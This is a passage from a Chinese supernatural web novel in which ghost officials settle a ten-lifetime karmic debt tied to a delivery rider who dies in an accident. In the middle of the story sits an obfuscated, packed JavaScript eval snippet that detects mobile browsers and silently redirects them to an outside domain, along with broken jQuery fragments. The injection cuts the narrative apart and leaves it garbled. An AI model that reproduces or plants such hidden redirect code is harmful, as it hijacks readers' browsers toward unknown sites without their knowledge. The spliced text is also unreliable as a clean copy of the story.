玄月再次起身,朝幸芝长鞠到地。
“所以,地府是如何处置的?”
幸芝问。
玄月继续坐回,只是杯中已空,又向文春索要了一杯不含珍珠的麻薯奶茶,长吸一口连哆嗦两下继续道。
俩男鬼扭着萍儿就闹到判官跟前。
刘萹哭诉说自己考学五十栽,好不容易一朝得中有了仕途,将来也能光耀门楣造福一方,如今就这么一杯毒酒被这丫头给毁了。
柳元郎亦是愤恨不已,说自己曾救下其,并不记回报,入红楼是她自己的意思,坐镇花楼也未有胁迫行为,完全是其自甘堕落,何况,他这么做都是为了太子的千秋伟业,是功德一件。
“一个女子,除了几分姿色之外,尚有一丝余力可以开宅建业,这本是件好事,如今全毁了!”
柳元郎没说的是,刘萹本是最后一名他为太子招揽的门客。之后,太子已经将他安置在户部,只等这一批官令制下来,他便可进京为官。
可这一切,都被一个贱人毁了。
判官老爷坐在高堂,问那刘萍儿可有话说。
刘萍儿伏地不起,说愿永不入轮回诅咒这两人永堕地狱。
“判官老爷答应了?”
玄月点点头又摇摇头。
“什么意思?”
“就是老爷觉得永坠地狱这个惩罚太轻,所以罚这两人十世轮回,每一次都死在幸福前夕。”
一直没有开口阿吾出声道。
玄月点头:“算算日子,也该是他们十世圆满了。届时,还望阿娑婆网开一面,留他们得入轮回。”
幸芝终于收回目光,从玄月脸上一晃而过,落在阿吾的肩头道:“所以,今夜就算不备这薄酒,你们也会再次登门,好编纂一通让我心软,或让我睁一只眼闭一只眼,通融这二人再入轮回。也是,二位几百年了,又怎会因与我等几日交情而转圜呢。”
玄月立时转身看向阿吾,眼神问道:你都说了。
阿吾:没有,我什么也没说。
玄月:那她怎么会知道。
阿吾:你这个故事烂到极致,你还可以说得再胭脂俗粉一些。
玄月:你!!!!!
幸芝扭了扭脖子道:“二位若是对好台词,这次由谁开口。可要想好了,我看这时间也快差不多了。”
玄月看向阿吾。
阿吾只得清清嗓子道:“算了,既然你已经知道,那我们就不再隐瞒。那二人十世轮回,期间与我等有了牵连,我与玄月曾应下承诺,第十世迎其入鬼道。”
幸芝抚掌道:“原来如此,二位素来生鬼不近,倒是惦记那两个腌臜货色。”
玄月闻声欲说话,却被阿吾制止。
“总归随你怎么说,待你见到来人便知因果。”
幸芝便不再说话,紧闭的院门忽然被一阵寒风吹开,门板嗑在墙上“咚咚”作响。
一阵锁链声由远及近,踩着寒风似就要直奔此间。
幸芝看向阿吾,难得在他那张冰封千年的冷面上看出情绪。
“哐当。”
风再次裹着院门又重重合上。
阿吾一愣转头看向幸芝,却见她亦不明所以地望着他。
“怎么回事?他们应该来了,怎么会阻在门外。”
玄月站起身,长袖裹起,却也只能原地踱步,神情焦躁不已。
“来了。”
幸芝忽然凝神,一阵敲门声如期而至。
“谁去开门。”文春颤抖着嗓子问。
“我来吧。”
幸芝已经起身,敲门声间歇停了几声,幸芝已至门前,她穿着月白色的长裙,立在廊下宛若阴司鬼魅,只有文春小声道了句仙气飘飘。
牛旭吓了一跳,跌坐在泥水地上。
眼前女子冷面冷心,尤其是那双眼睛,冷得让人心颤。
牛旭忙从地上爬起,左右张望一番道:“您好,请问文春是住这里吗?我之前来送过奶茶,对了,还有救过一只猫。”
说着他在身上翻找了什么,可惜口袋空空里面什么也没有。
“我不知道怎么了,忽然就在这里,别的路怎么也走不出去,我记得这门前有盏灯笼,方便的话我想找一下文春,打个电话,有两个餐应该超时了。”
文春人未到声已至。
“牛旭,你怎么死的!”
惊慌之下,牛旭听清楚了最后两个字。
他死了。
幸芝捏着牛旭身前最后一缕记忆,转身走回小院问:“他是你们要找的人?”
玄月摇头。
阿吾摇头。
牛旭原本是打算送完今天一天,明天休息休息回家过年。往年他都趁着年关这时候单价高多跑几单。但今年不同,父亲手术顺利已经出院回家疗养,他至少不用再为医药费发愁。钱赚多赚少都那样,他想回家吃顿团圆饭,自打父亲出事到今年,他们已经有四年没坐在桌子旁吃过一顿热乎饭了。
他攒了些钱,打算回去再买辆车子送送货。东市虽好,到底不是自己的根。他想着至少回家不用租房子,吃饭也能省一笔不小的开支,而且护理父亲也能给母亲搭把手。
他给电瓶车换了电,计划骑过去还车,再回去把房子转租出去。可准备下线时,平台又分配了一单,急单,路程不远也就五公里多一点,跑腿费就加到了五十五。牛旭吹着口哨把这单接了,调转车头去送这今年的最后一单。
这一单送的是药品,他需要去药店取了药之后再送去高铁站交给工作人员,时间显示宽裕,但对方接连打了几个电话催促他再快些。
牛旭穿了条小道。
这条小道牛旭前后跑了不下百次,人少无车没有上下坡道和台阶。唯一要说缺点就是会经过一个垃圾处理站,夏天味道比较大,冬天地面又湿滑。
所以牛旭很少晚上走这边,但这一趟至少能节省十来分钟。
一辆叉车横在小道正中央,没有任何安全提示和灯光,牛旭就这么一头撞过去。
文春报的警,牛旭躺在叉车下,他的电话仍响个不停。
“别催了,给你送药的小哥出事了,人没了。”
电话那头不知道说了什么,文春将电话掐断,手机揣进口袋,警察过来做笔录时,幸芝问牛旭有没有什么未了的心愿。
牛旭盯着送餐的箱子,装药的袋子摔落在旁。
幸芝道:“你想把这单完成?”
牛旭点点头。
文春处理完事故现场,将药品递给警察。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311439|176217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“貌似对方催得挺急的,要不你们联系下,看能不能安排人手送过去。”
对方结果药品,拨了通电话,点点头后,将其放在一旁的垃圾桶上。
“人没了,不用送了。”
文春将牛旭领回小院,那只本来蜷缩身子躲在玄月脚边的狸花猫,忽然不顾身上伤痕,炸毛龇牙弓着背部紧盯着门口。
“来了。”
玄月站起身,阿吾却先他一步走到院门前,指着牛旭道:“这次算是我赢了。”
“不算不算,他还未到,生死时辰还未定,何来输赢。”
“那我不管,总之,他站在我面前,我便赢了。”
玄月还欲争辩,只见院门洞开,一道苍老的身子佝偻着背缓缓入内。
只见那佝偻身影停在牛旭面前拱手道:“有劳,这十世就此完结。”
俩鬼对面鞠躬,眼见就要被玄月收走。
那狸花猫似疯魔般飞扑过去,牙尖爪利三两下功夫竟将驼背老鬼撕得粉碎,似不解气般调头直奔牛旭处。
牛旭呆站在原地,一时如大梦骤醒般双膝一软……
牛旭对着狸花猫不停磕头,眼中念念有词,竟让其收住四足盘桓在侧。
玄月不免叹息一声,从袖中抽出琉璃翠瓶,远远地抛给阿吾。鬼差伸手接过,小心翼翼揣入怀中。只是一道绿光自眼前闪过,幸芝认出那是阿元的烛油。
他们的赌资是烛油。
清冷的空气中忽然传来一声叹息,文春将狸花猫抱起,幸芝摊开娟册,将牛旭的名字写上,这十世因果便跃然纸上。
他便是那柳元郎。
只可惜,十世前,刘萍儿便已烟消云散。她的诅咒应验了,这十世,每一世他操劳半身皆死在圆满之前。
无一例外。
可同样,这十世,他也攒下功德回向,足够他下辈子投生至好人家。
幸芝合上娟册,只觉得胸闷难忍,起身又走至院中,欲询问一二。玄月与阿吾正在推辞,见她出来瞬时迎上问道:“如何,可有得解?”
幸芝摇头。
对牛旭而言,这是一场无妄之灾,但对十世前的柳元郎而言,这一切都是报应。
柳元郎的报应除了。
那牛旭呢?
“他不肯入轮回,又做不得孤魂野鬼。再这样下去,可就是要魂飞魄散了。”
玄月盯着幸芝,此时只有幸芝收容,待牛旭熬完阳寿再入轮回重新做人。
“抱歉。”
幸芝无法收容牛旭,即便他知道牛旭只是那个外卖小哥。
“你们送他托生吧,我这里就当他没来过。”
“托生!?”
“这如何使得,若是老爷知道,定会问罪我等,使不得使不得。”
“怕什么,他本就不在生死簿上,就算你我知道,斥责下来你们认下便是。你们猜若底下那位知道二位用阿元的烛油做赌资,会降下何等惩戒?”
阿吾便不再开口。
幸芝又道:“我替他找了具肉身,虽然破旧了些,但世间已无至亲,也算是孤苦无依。你们商量好,送他去吧。”
她说完,便将阿吾和玄月移出小院。
文春匆匆取下灯笼,闭门谢客。